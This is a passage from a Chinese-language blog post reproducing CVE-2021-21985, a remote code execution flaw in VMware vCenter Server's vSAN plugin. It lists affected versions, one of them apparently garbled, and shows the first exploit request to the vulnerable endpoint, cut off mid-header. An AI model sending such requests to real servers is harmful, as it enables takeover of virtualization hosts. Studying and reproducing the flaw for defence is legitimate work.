CVE-2021-21985 VMware vCenter Server 远程代码执行

最新推荐文章于 2025-01-27 10:10:06 发布

安全小工坊

最新推荐文章于 2025-01-27 10:10:06 发布

阅读量1.2k

点赞数

分类专栏：漏洞复现

本文链接：https://blog.youkuaiyun.com/m0_58434634/article/details/117687145

版权

漏洞简介

Vmware vSphere Client是美国威睿（Vmware）公司的一个应用软件。 vSphere Client存在安全漏洞，该漏洞由于vCenter Server默认启用的虚拟SAN健康检查插件缺乏输入验证导致底层操作系统上以不受限制的权限执行命令。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U2b

VMware vCenter Server 6.7系列 < 6.7.U3n

VMware vCenter Server 6.5系列 < 6.5 U3p

VMware Cloud Foundation 4.x 系列 < 4.2.1

VMware Cloud Foundation 4.x 系列 < 3.10.2.1

漏洞复现

Step1 init TargetObject

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Lengt